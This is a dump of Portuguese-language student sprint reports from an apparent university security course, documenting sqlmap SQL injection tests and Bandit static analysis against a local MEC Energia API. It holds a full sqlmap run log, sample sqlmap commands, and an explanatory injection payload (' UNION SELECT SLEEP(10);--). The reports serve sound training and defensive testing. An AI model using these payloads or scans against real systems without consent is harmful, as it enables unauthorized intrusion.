165 | └─$ sqlmap -r request1.txt
166 | ___
167 | __H__
168 | ___ ___[)]_____ ___ ___ {1.8.7#stable}
169 | |_ -| . ["] | .'| . |
170 | |___|_ [,]_|_|_|__,| _|
171 | |_|V... |_| https://sqlmap.org
172 |
173 | [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
174 |
175 | [*] starting @ 23:49:00 /2024-11-27/
176 |
177 | [23:49:00] [INFO] parsing HTTP request from 'request1.txt'
178 | Multipart-like data found in POST body. Do you want to process it? [Y/n/q] y
179 | Cookie parameter 'csrftoken' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] n
180 | [23:49:11] [INFO] testing connection to the target URL
181 | [23:49:12] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
182 | [23:49:12] [INFO] checking if the target is protected by some kind of WAF/IPS
183 | you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] y
184 | [23:49:15] [WARNING] reflective value(s) found and filtering out
185 | [23:49:15] [INFO] testing if the target URL content is stable
186 | [23:49:16] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
187 | how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
188 | [23:49:37] [INFO] ignoring (custom) POST parameter 'MULTIPART csrfmiddlewaretoken'
189 | [23:49:37] [INFO] testing if (custom) POST parameter 'MULTIPART first_name' is dynamic
190 | [23:49:38] [WARNING] (custom) POST parameter 'MULTIPART first_name' does not appear to be dynamic
191 | [23:49:38] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART first_name' might not be injectable
192 | [23:49:39] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART first_name'
193 | [23:49:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
194 | [23:49:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
195 | [23:49:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
196 | [23:49:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
197 | [23:49:45] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
198 | [23:49:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
199 | [23:49:46] [INFO] testing 'Generic inline queries'
200 | [23:49:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
201 | [23:49:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
202 | [23:49:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
203 | [23:49:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
204 | [23:49:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
205 | [23:49:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
206 | [23:49:48] [INFO] testing 'Oracle AND time-based blind'
207 | it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
208 | [23:49:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
209 | [23:49:53] [WARNING] (custom) POST parameter 'MULTIPART first_name' does not seem to be injectable
210 | [23:49:53] [INFO] testing if (custom) POST parameter 'MULTIPART last_name' is dynamic
211 | [23:49:54] [WARNING] (custom) POST parameter 'MULTIPART last_name' does not appear to be dynamic
212 | [23:49:54] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART last_name' might not be injectable
213 | [23:49:54] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART last_name'
214 | [23:49:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
215 | [23:49:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
216 | [23:49:57] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
217 | [23:49:58] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
218 | [23:49:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
219 | [23:49:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
220 | [23:49:59] [INFO] testing 'Generic inline queries'
221 | [23:49:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
222 | [23:50:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
223 | [23:50:00] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
224 | [23:50:01] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
225 | [23:50:01] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
226 | [23:50:02] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
227 | [23:50:02] [INFO] testing 'Oracle AND time-based blind'
228 | [23:50:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
229 | [23:50:04] [WARNING] (custom) POST parameter 'MULTIPART last_name' does not seem to be injectable
230 | [23:50:04] [INFO] testing if (custom) POST parameter 'MULTIPART password' is dynamic
231 | [23:50:04] [WARNING] (custom) POST parameter 'MULTIPART password' does not appear to be dynamic
232 | [23:50:04] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART password' might not be injectable
233 | [23:50:05] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART password'
234 | [23:50:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
235 | [23:50:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
236 | [23:50:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
237 | [23:50:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
238 | [23:50:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
239 | [23:50:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
240 | [23:50:10] [INFO] testing 'Generic inline queries'
241 | [23:50:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
242 | [23:50:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
243 | [23:50:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
244 | [23:50:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
245 | [23:50:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
246 | [23:50:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
247 | [23:50:12] [INFO] testing 'Oracle AND time-based blind'
248 | [23:50:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
249 | [23:50:14] [WARNING] (custom) POST parameter 'MULTIPART password' does not seem to be injectable
250 | [23:50:14] [INFO] testing if (custom) POST parameter 'MULTIPART email' is dynamic
251 | [23:50:15] [WARNING] (custom) POST parameter 'MULTIPART email' does not appear to be dynamic
252 | [23:50:15] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART email' might not be injectable
253 | [23:50:15] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART email'
254 | [23:50:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
255 | [23:50:17] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
256 | [23:50:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
257 | [23:50:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
258 | [23:50:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
259 | [23:50:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
260 | [23:50:20] [INFO] testing 'Generic inline queries'
261 | [23:50:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
262 | [23:50:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
263 | [23:50:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
264 | [23:50:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
265 | [23:50:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
266 | [23:50:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
267 | [23:50:23] [INFO] testing 'Oracle AND time-based blind'
268 | [23:50:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
269 | [23:50:25] [WARNING] (custom) POST parameter 'MULTIPART email' does not seem to be injectable
270 | [23:50:25] [INFO] testing if (custom) POST parameter 'MULTIPART type' is dynamic
271 | [23:50:25] [WARNING] (custom) POST parameter 'MULTIPART type' does not appear to be dynamic
272 | [23:50:25] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'MULTIPART type' might not be injectable
273 | [23:50:25] [INFO] testing for SQL injection on (custom) POST parameter 'MULTIPART type'
274 | [23:50:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
275 | [23:50:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
276 | [23:50:28] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
277 | [23:50:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
278 | [23:50:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
279 | [23:50:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
280 | [23:50:30] [INFO] testing 'Generic inline queries'
281 | [23:50:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
282 | [23:50:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
283 | [23:50:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
284 | [23:50:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
285 | [23:50:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
286 | [23:50:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
287 | [23:50:33] [INFO] testing 'Oracle AND time-based blind'
288 | [23:50:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
289 | [23:50:35] [WARNING] (custom) POST parameter 'MULTIPART type' does not seem to be injectable
290 | [23:50:35] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
291 | [23:50:35] [WARNING] HTTP error codes detected during run:
292 | 403 (Forbidden) - 423 times
293 |
294 | [*] ending @ 23:50:35 /2024-11-27/
295 | ```
296 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/Grupo2-RedTeam/211039439_Gabriel_Marques.md:
--------------------------------------------------------------------------------
1 | Relatório da Sprint 1 - Testando o SQLMap
2 |
3 | Durante essa primeira sprint eu acessei os cursos do HTB (Hack the Box) como solicitado pelo Rodolfo e fiz o primeiro módulo para essa sprint SQL Injection Fundamentals, resolvi o que foi solicitado e finalizei esse módulo. Então optei por concentrar primeiramente meus esforços em subir o ambiente do MEC energia no meu PC. Após finalizar a etapa de instalação das dependências e do próprio ambiente comecei a explorar a plataforma do MEC energia acessando via admin para decidir começar testes para a rota do subgrupo 2 o qual fui designado.
4 |
5 | A seguir apresento o retorno de alguns desses testes.
6 |
7 | Teste 1:
8 | ![][image1]
9 |
10 | Teste 2:
11 | ![][image2]
12 |
13 | Teste 3:
14 | ![][image3]
15 |
16 | Teste 4:
17 | ![][image4]
18 |
19 | Depois de aplicar os testes e utilizar as flags sugeridas para tentar encontrar brechas pude concluir que não houveram falhas de segurança na rota /api/consumer-units/ Pretendo agora focar em toda a rota relacionada para chegar a mais resultados
20 |
21 | [image1]: /2024.2/relatorio/Images/image1.png
22 | [image2]: /2024.2/relatorio/Images/image2.png
23 | [image3]: /2024.2/relatorio/Images/image3.png
24 | [image4]: /2024.2/relatorio/Images/image4.png
25 |
26 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/grupo_2.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 1 - Gabriel Campello Marques
2 |
3 | Durante essa primeira sprint eu acessei os cursos do HTB (Hack the Box) como solicitado pelo Rodolfo e fiz o primeiro módulo para essa sprint SQL Injection Fundamentals, resolvi o que foi solicitado e finalizei esse módulo. Então optei por concentrar primeiramente meus esforços em subir o ambiente do MEC energia no meu PC. Após finalizar a etapa de instalação das dependências e do próprio ambiente comecei a explorar a plataforma do MEC energia acessando via admin para decidir começar testes para a rota do subgrupo 2 o qual fui designado.
4 |
5 | A seguir apresento o retorno de alguns desses testes.
6 |
7 | Figura 1.1 - Teste 1:
8 | ![][image1]
9 |
10 | Figura 1.2 - Teste 2:
11 | ![][image2]
12 |
13 | Figura 1.3 - Teste 3:
14 | ![][image3]
15 |
16 | Figura 1.4 - Teste 4:
17 | ![][image4]
18 |
19 | Depois de aplicar os testes e utilizar as flags sugeridas para tentar encontrar brechas pude concluir que não houveram falhas de segurança na rota /api/consumer-units/ Pretendo agora focar em toda a rota relacionada para chegar a mais resultados
20 |
21 | [image1]: /2024.2/relatorio/sprint_1/img_g2/image1.png
22 | [image2]: /2024.2/relatorio/sprint_1/img_g2/image2.png
23 | [image3]: /2024.2/relatorio/sprint_1/img_g2/image3.png
24 | [image4]: /2024.2/relatorio/sprint_1/img_g2/image4.png
25 |
26 | # Relatório da Sprint 1 - Matheus Henrique Dos Santos
27 |
28 | ## Introdução
29 |
30 | Nesse sprint meu foco foi em realizar os cursos recomendados pelo monitor do grupo ([Rodolfo](https://github.com/roddas)) na plataforma [Hack The Box](https://www.hackthebox.com/), no caso os módulos **SQL Injection Fundamentals** e **SQLMap Essentials**. No decorrer dos estudos dos módulos citados, também, _“subi”_ o ambiente de teste do grupo, no caso a aplicação MEC-Energia.
31 |
32 | ## Metodologia
33 |
34 | Para realizar os testes das rotas proposta para essa sprint, foi realizada a configuração do ambiente de teste que consistia de uma máquina virtual contendo a versão 2024.3 do OS Kali Linux. Dentro da máquina virtual foram instaladas as ferramentas **Docker**, **Git**, **NPM** e **SQLMap** para que o ambiente de teste da aplicação fosse configurado corretamente para o teste da aplicação proposta ([MEC-Energia](https://gitlab.com/lappis-unb/projetos-energia/mec-energia)). Em relação a aplicação, a sua configuração foi realizada seguindo as instruções propostas pela página no GitLab. Realizada todas essas configurações, foram realizados os testes com SQLMap das [rotas propostas](https://github.com/FGA-GCES/OWASP/blob/main/2024.2/url_mec_energia.txt) do sub grupo 2 no intuito de encontrar vulnerabilidades do tipo SQL Injection.
35 |
36 | ## Testes
37 |
38 | Para essa primeira primeira interação, foram utilizados apenas a flag _--ignore-code=401_, as rotas bases e a [API da aplicação](https://gitlab.com/lappis-unb/projetos-energia/mec-energia/mec-energia-api). O motivo da utilização da flag mencionada se deve ao fato de falhas na autenticação, outras flag não foram utilizadas devido a falta de familiaridade com a aplicação. As figuras 2.1 a 2.5 mostram os resultados.
39 |
40 |
41 |
42 | Figura 2.1 - Teste da rota na API de consumer-units.
43 |
44 | 
45 |
46 |
47 |
48 |
49 |
50 | Figura 2.2 - Teste da rota na API de contracts.
51 |
52 | 
53 |
54 |
55 |
56 |
57 |
58 | Figura 2.3 - Teste da rota na API de distributors.
59 |
60 | 
61 |
62 |
63 |
64 |
65 |
66 | Figura 2.4 - Teste da rota na API de energy-bills.
67 |
68 | 
69 |
70 |
71 |
72 |
73 |
74 | Figura 2.5 - Teste da rota na API de tariffs.
75 |
76 | 
77 |
78 |
79 |
80 | ## Conclusão
81 |
82 | Sendo assim, realizados os testes, não foram detectadas vulnerabilidades referentes à injeção de SQL nas rotas testadas. Já sobre a experiência, tive certa dificuldade em configurar o ambiente no Kali Linux e na realização dos cursos pela plataforma Hack The Box, pois a mesma possui algumas limitações para contas não pagantes que dificultam o progresso rápido nos cursos. Por fim, pretendo aprimorar meu conhecimento na ferramenta SQLMap para realizar testes mais profundos nas rotas.
83 |
84 | # Membro 3
85 |
86 | # Membro 4
87 |
88 | ## Bibliografia
89 |
90 | > 21Y4D. **SQL Injection Fundamentals**. HTB ACADEMY, 2024. Disponível em: <>. Acesso em: 23 de nov. de 2024.
91 |
92 | > STAMPARM. **SQLMap Essentials**. HTB ACADEMY, 2024. Disponível em: <>. Acesso em: 25 de nov. de 2024.
93 |
94 | ## Histórico de Versões
95 |
96 | | Versão | Data | Descrição | Autor(es) |
97 | | ------ | ---------- | ------------------------------------------ | ------------------------------------------------ |
98 | | `1.0` | 27/11/2024 | Adiciona relatório do Gabriel da sprint 1. | [Gabriel Campello](https://github.com/G16C) |
99 | | `1.1` | 28/11/2024 | Adiciona relatório do Matheus da sprint 1. | [Matheus Henrique](https://github.com/mathonaut) |
100 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/grupo_3.md:
--------------------------------------------------------------------------------
1 | # Relatório Sprint 1 - SQL Injections
2 |
3 | ## Membros
4 |
5 | | Nome | Matrícula |
6 | | :--: | :-------: |
7 | | [Mateus Fidelis](https://github.com/MatsFidelis) | 200073184 |
8 | | [Pablo Guilherme](https://github.com/PabloGJBS) | 200025791 |
9 | | [Pedro Lucas](https://github.com/AlefMemTav) | 190115548 |
10 | | [Rafael Bosi](https://github.com/strangeunit28) | 211029559 |
11 |
12 | ## Sobre
13 | Este relatório é destinado a documentar as descobertas do subgrupo em relação a vunerabilidades ou a inexistência delas em relação a ataques de SQL Injection na aplicação MEC Energia API. Primeiro foi necessário subir o ambiente de desenvolvimento da aplicação, passo esse que todos os membros conseguiram executar com exito. Logo após cada membro possuir uma estância local do projeto, começaram os testes em algumas das rotas da API (As rotas testadas pelo grupo podem ser encontradas [aqui](../../url_mec_energia.txt)).
14 |
15 | ## O que é SQL Injections
16 |
17 | SQL Injection é um tipo de vulnerabilidade de segurança que ocorre em aplicativos que interagem com bancos de dados. Ela acontece quando entradas fornecidas pelo usuário não são devidamente validadas ou sanitizadas, permitindo que códigos maliciosos sejam inseridos em comandos SQL.
18 |
19 | Isso pode levar a ações indesejadas, como acesso não autorizado a dados, exclusão ou modificação de informações, e até mesmo controle completo do banco de dados. Para prevenir SQL Injections, é essencial usar técnicas como consultas parametrizadas, validação rigorosa de entradas e o uso de frameworks seguros para manipulação de dados.
20 |
21 | No relatório **OWASP Top 10 de 2021**, injeções aparecem em **terceiro lugar** no ranking de vulnerabilidades mais críticas. Aqui estão alguns dados relevantes:
22 |
23 | - **94%** das aplicações testadas apresentaram vulnerabilidades a algum tipo de injeção.
24 | - Taxa máxima de incidência: **19%**.
25 | - Taxa média de incidência: **3%**.
26 | - Total de ocorrências relatadas: **274.228**.
27 | - Entre as falhas mais comuns relacionadas estão:
28 | - **CWE-89**: SQL Injection.
29 | - **CWE-79**: Cross-site Scripting.
30 | - **CWE-73**: Controle Externo de Nome ou Caminho de Arquivo.
31 |
32 | ## Exemplo de SQL Injection
33 |
34 | ### Cenário 1: Consulta SQL Vulnerável
35 |
36 | Imagine uma aplicação que constrói dinamicamente uma consulta SQL sem sanitizar os dados do usuário:
37 |
38 | ```java
39 | String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
40 | ```
41 | O atacante pode manipular o parâmetro id na URL para executar comandos maliciosos, como:
42 |
43 | ```bash
44 | http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--
45 | ```
46 |
47 | Isso altera a consulta para:
48 |
49 | ```SQL
50 | SELECT * FROM accounts WHERE custID='' UNION SELECT SLEEP(10);--
51 | ```
52 |
53 | Esse comando pode atrasar a resposta do banco de dados ou até mesmo revelar dados sensíveis.
54 |
55 | ### Cenário 2: Framework Vulnerável (HQL)
56 |
57 | Mesmo com frameworks como Hibernate, a falta de atenção à construção de queries pode gerar vulnerabilidades:
58 |
59 | ```java
60 | Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
61 | ```
62 |
63 | Um atacante pode injetar comandos para alterar o comportamento esperado, causando resultados similares ao cenário anterior.
64 |
65 |
66 | ## O que é o SQLmap
67 |
68 | O SQLmap é uma ferramenta que auxilia na realização de testes de sql injection, a qual realiza automaticamente uma serie de testes em uma url especifica acelerando assim o processo de caça de falhas.
69 |
70 | ### Como utilizar o SQLmap
71 |
72 | Para executar a ferramenta, utilize o seguinte comando no terminal:
73 |
74 | ```bash
75 | sqlmap -u "URL_ALVO" --batch
76 | ```
77 | No comando acima:
78 |
79 | - A flag -u especifica a URL alvo.
80 | - A flag --batch aceita automaticamente as perguntas realizadas pela
81 | ferramenta, permitindo uma execução sem interrupções.
82 |
83 | Além disso, é possível utilizar outras flags que refinam e personalizam os testes realizados. Por exemplo:
84 |
85 |
86 | ```bash
87 | sqlmap -u "URL_ALVO" --level 3 --risk 2 --batch
88 | ```
89 | Neste exemplo:
90 | - --level define o nível de profundidade dos testes, com valores de 1 a 5.
91 | - --risk especifica o nível de risco dos testes, com valores de 1 a 3. Níveis mais altos implicam testes mais detalhados e complexos.Em nossos testes utilizamos majoritariamente as flags --level e --risk setadas em 1 devido ao tempo de resposta da ferramenta, uma vez que ao selecionar os parametros mais altos os testes demoravam entre 10 a 15 minutos enquanto com os parametros mais baixos os testes demoravam cerca de 1 a 2 minutos possibilitando a realização dos testes em todas as URL's necessárias.
92 |
93 | ### Experiência com os testes
94 |
95 | Em nossos testes, utilizamos principalmente os valores --level 1 e --risk 1, priorizando a rapidez nos resultados.
96 |
97 | - Com parâmetros baixos: os testes foram concluídos em 1 a 2 minutos, permitindo analisar todas as URLs necessárias com eficiência.
98 | - Com parâmetros altos: os testes demoraram entre 10 a 15 minutos, tornando o processo menos prático em alguns casos.
99 | Essa abordagem balanceou o tempo de resposta com a eficácia dos testes.
100 |
101 | ## Dificuldades encontradas
102 |
103 | ### Mateus Fidelis
104 |
105 | - Nesta primeira sprint, minha maior dificuldade com o projeto foi corrigir e trabalhar com pequenos erros que apareciam ao tentar rodar o trabalho, desde peuenas atualizações que precisei fazer no Kali Linux para conseguir rodar os testes, até memo na própria aplicação enquanto rodava os testes durante o estudo sobre SQLi.
106 |
107 | ### Pablo Guilherme
108 |
109 | - A maior dificuldade foi em subir o ambiente devido a um conflito de versões do docker que ocorreu ao instalar a VM do Kali Linux, para corrigir este erro eu alterei os arquivos de Makefile com o objetivo de substituir os comandos docker compose por docker-compose
110 |
111 | ### Pedro Lucas
112 |
113 | - Eu instalei a Oracle Virtual Box [(O lugar mais correto para se baixar é pelo site oficial)](https://www.virtualbox.org/wiki/Linux_Downloads) e o Kali Linux. A princípio tive dificuldades de configurar o Kali na Virtual Box, mas ao seguir o tutorial do site oficial [Kali inside VirtualBox (Guest VM)](https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/) eu consegui o resultado. Além disso, eu subi os ambientes da MEC-Energia (Api e Web), tendo dificuldade de subir a parte da Web por algum problema que ainda não solucionei. Também criei uma conta no Hack The Box e comecei a estudar os cursos. É um site muito completo, com a única dificuldade de ser pago quase todo o material. No geral, acho que pela primeria Sprint, já deu para se ambientar no que vamos fazer durante o semestre na área de segurança.
114 |
115 | ### Rafael Bosi
116 |
117 | - Todos os membros foram orientados a subir uma máquina virtual que possuisse o sistema operacional Kali linux, eu não consegui subir essa máquina. O Kali linux tem várias ferramentas e softwares que auxiliam na busca e descoberta de vunerabilidades em aplicação, como o próprio SQLmap. Por não ter conseguido utilizar o Kali, tive que instalar e executar essa ferramenta no Ubuntu, também tive dificuldade nisso.
118 |
119 |
120 | ## Testes executados na Api do Mec Energia
121 |
122 | Para essa primeira Sprint foram testadas pelo grupo mais de [40 rotas](../../url_mec_energia.txt) da API do MEC Energia. Não foi encontrada nenhuma vunerabilidade em relação a SQL Injections nas rotas exploradas. Isso nos mostra que os campos de input para usuários, pelo menos nessas rotas, tem validações e são tratados no backend da aplicação.
123 |
124 | Abaixo é possível ver um screenshot de alguns dos testes realizados em cima das rotas da API. Também é possível observar na mesma imagem que nenhum dos testes rodados encontrou nenhuma vunerabilidade. No screenshot foram testadas as rotas "/api/clear-cache/", "/api/admin/login" e "/api/admin/login/?next/".
125 |
126 | 
127 | Imagem 1 - Explorando algumas rotas com SQLmap
128 |
129 | ## Referências
130 |
131 | - [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/)
132 | - [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard/)
133 | - [OWASP Testing Guide: SQL Injection, Command Injection, and ORM Injection](https://owasp.org/www-project-web-security-testing-guide/)
134 | - [OWASP Cheat Sheet: Injection Prevention](https://owasp.org/www-project-cheat-sheets/)
135 | - [OWASP Cheat Sheet: SQL Injection Prevention](https://owasp.org/www-project-cheat-sheets/)
136 | - [OWASP Cheat Sheet: Injection Prevention in Java](https://owasp.org/www-project-cheat-sheets/)
137 | - [OWASP Cheat Sheet: Query Parameterization](https://owasp.org/www-project-cheat-sheets/)
138 | - [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)
139 | - [PortSwigger: Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)
140 |
141 |
142 |
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/grupo_4.md:
--------------------------------------------------------------------------------
1 | # Relatório da Sprint 1 - SAST usando Bandit
2 |
3 | ## **Introdução**
4 | Neste relatório, detalhamos a experiência ao configurar e utilizar o **Bandit** como ferramenta de **SAST (Static Application Security Testing)** para identificar vulnerabilidades na API **mec-energia-api**. O Bandit foi integrado ao pipeline `.gitlab-ci.yml` e também configurado para rodar manualmente, facilitando a identificação de problemas de segurança no código Python.
5 |
6 | ---
7 |
8 | ## **Como o Bandit funciona no SAST**
9 |
10 | O Bandit analisa os arquivos Python no repositório para detectar padrões de código potencialmente inseguros. Ele verifica problemas como:
11 | - Uso inseguro de funções de criptografia.
12 | - Vazamento de informações sensíveis.
13 | - Injeção de código.
14 | - Uso incorreto de bibliotecas padrão.
15 |
16 | A ferramenta foi configurada no pipeline para executar automaticamente em cada *merge request* e em *pushes* para branches específicas, gerando um relatório JSON com os resultados.
17 |
18 | ---
19 |
20 | ## **Execução na Pipeline**
21 |
22 | ### Configuração no `.gitlab-ci.yml`
23 | Adicionamos o seguinte trecho ao pipeline para integrar o Bandit:
24 |
25 | ```yaml
26 | sast:
27 | stage: test
28 | image: python:3.11
29 | before_script:
30 | - pip install bandit
31 | script:
32 | - bandit -r . -f json -o sast-report.json
33 | artifacts:
34 | reports:
35 | sast: sast-report.json
36 | expire_in: 1 week
37 | ```
38 |
39 | ### Como funciona:
40 |
41 | - Ambiente: A imagem do Python 3.11 é utilizada.
42 | - Instalação: O Bandit é instalado antes da execução.
43 | - Análise: Ele analisa recursivamente (-r) o diretório do projeto e gera um relatório no formato JSON.
44 | - Relatório: O resultado é anexado como artefato da pipeline e disponibilizado na aba "Segurança" do GitLab.
45 |
46 | ## **Execução manual**
47 |
48 | Para rodar o Bandit manualmente, siga os passos abaixo:
49 |
50 | ### Pré-requisitos
51 | Certifique-se de que o Python e o Bandit estão instalados no ambiente local:
52 |
53 | ```pip install bandit```
54 |
55 | ### Comando para análise
56 |
57 | - Para gerar um relatório em JSON:
58 |
59 | ```bandit -r . -f json -o sast-report.json```
60 |
61 | - Para ignorar determinados testes:
62 |
63 | ```bandit -r . -f json -o sast-report.json --skip B101,B102```
64 |
65 | #### Teste do comando:
66 | ![][running]
67 |
68 | ---
69 |
70 | ### Resultados e Benefícios
71 |
72 | - Detectou vulnerabilidades iniciais: Foi possível identificar funções e bibliotecas que precisavam de ajustes para segurança.
73 | - Relatório automatizado: A integração com o GitLab permite fácil visualização dos problemas de segurança.
74 | - Execução simples: A ferramenta é leve e fácil de rodar, tanto na pipeline quanto localmente.
75 |
76 | #### Alguns dos resultados gerados:
77 | ![][results]
78 |
79 | ### Recomendações Futuras
80 |
81 | - Expandir a análise adicionando outras ferramentas de SAST complementares, como o Semgrep.
82 | - Automatizar a correção de vulnerabilidades recorrentes usando pré-commits ou hooks.
83 |
84 | [running]: ../../Images/bandit_running.png
85 | [results]: ../../Images/bandit_results.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/image-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/image-1.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/image.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/211029666_test2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FGA-GCES/CyberSec/af7db39e25cb2957a796da536dbb1f2f486adb32/2024.2/relatorio/sprint_1/img_g2/211029666_test2.png
--------------------------------------------------------------------------------
/2024.2/relatorio/sprint_1/img_g2/211029666_test3.png:
--------------------------------------------------------------------------------
